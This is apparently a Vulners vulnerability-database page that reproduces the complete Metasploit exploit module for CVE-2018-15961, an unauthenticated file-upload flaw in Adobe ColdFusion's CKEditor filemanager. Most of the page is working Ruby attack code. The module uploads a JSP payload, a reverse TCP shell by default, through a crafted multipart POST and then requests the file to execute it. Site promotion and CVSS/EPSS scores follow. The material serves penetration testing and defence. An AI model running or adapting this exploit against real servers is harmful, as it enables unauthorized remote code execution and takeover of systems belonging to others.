Lucene search
+L

Adobe ColdFusion CKEditor unrestricted file upload

🗓️ 11 Sep 2018 00:00:00Reported by Pete Freitag de Foundeo, Vahagn vah_13 Vardanian, QazeerType 
metasploit
 metasploit
🔗 www.rapid7.com👁 29 Views

Adobe ColdFusion CKEditor file upload vulnerability allows remote attackers to upload and execute JSP files

Related
Code
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote

  include Msf::Exploit::Remote::HttpClient

  Rank = ExcellentRanking

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Adobe ColdFusion CKEditor unrestricted file upload',
        'Description' => %q{
          A file upload vulnerability in the CKEditor of Adobe ColdFusion 11
          (Update 14 and earlier), ColdFusion 2016 (Update 6 and earlier), and
          ColdFusion 2018 (July 12 release) allows unauthenticated remote
          attackers to upload and execute JSP files through the filemanager
          plugin.
          Tested on Adobe ColdFusion 2018.0.0.310739.
        },
        'Author' => [
          'Pete Freitag de Foundeo', # Vulnerability discovery
          'Vahagn vah_13 Vardanian',  # First public PoC
          'Qazeer'                    # Metasploit module
        ],
        'License' => MSF_LICENSE,
        'References' => [
          [ 'CVE', '2018-15961' ],
          [ 'BID', '105314' ],
          [ 'URL', 'https://helpx.adobe.com/fr/security/products/coldfusion/apsb18-33.html' ]
        ],
        'Privileged' => false,
        'Targets' => [
          [
            'Java Universal',
            {
              'Arch' => ARCH_JAVA,
              'Platform' => %w[linux win],
              'Payload' => { 'DisableNops' => true },
              'DefaultOptions' => { 'PAYLOAD' => 'java/jsp_shell_reverse_tcp' }
            }
          ]
        ],
        'DefaultTarget' => 0,
        'DefaultOptions' => { 'RPORT' => 8500 },
        'DisclosureDate' => '2018-09-11',
        'Notes' => {
          'Reliability' => UNKNOWN_RELIABILITY,
          'Stability' => UNKNOWN_STABILITY,
          'SideEffects' => UNKNOWN_SIDE_EFFECTS
        }
      )
    )

    register_options [
      OptString.new('TARGETURI', [ false, 'Base application path', '/' ]),
    ]
  end

  def exploit
    filename = rand_text_alpha_upper(1..10) + '.jsp'

    print_status("Uploading the JSP payload at #{target_uri}cf_scripts/scripts/ajax/ckeditor/plugins/filemanager/uploadedFiles/#{filename}...")

    mime = Rex::MIME::Message.new
    mime.add_part(payload.encoded, 'application/octet-stream', nil, "form-data; name=\"file\"; filename=\"#{filename}\"")
    mime.add_part('path', 'text/plain', nil, 'form-data; name="path"')

    post_str = mime.to_s
    post_str.strip!

    res = send_request_cgi({
      'uri' => normalize_uri(target_uri, 'cf_scripts', 'scripts', 'ajax', 'ckeditor', 'plugins', 'filemanager', 'upload.cfm'),
      'version' => '1.1',
      'method' => 'POST',
      'ctype' => 'multipart/form-data; boundary=' + mime.bound,
      'data' => post_str
    })

    unless res && res.code == 200
      fail_with Failure::Unknown, 'Upload Failed...'
    end

    print_good('Upload succeeded! Executing payload...')

    send_request_cgi({
      'uri' => normalize_uri(target_uri, 'cf_scripts', 'scripts', 'ajax',
                             'ckeditor', 'plugins', 'filemanager', 'uploadedFiles', filename),
      'method' => 'GET'
    }, 5)
  end
end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

11 Sep 2018 00:00Current
8.9High risk
Vulners AI Score8.9
CVSS 3.19.8
CVSS 210
EPSS0.9995
SSVC
29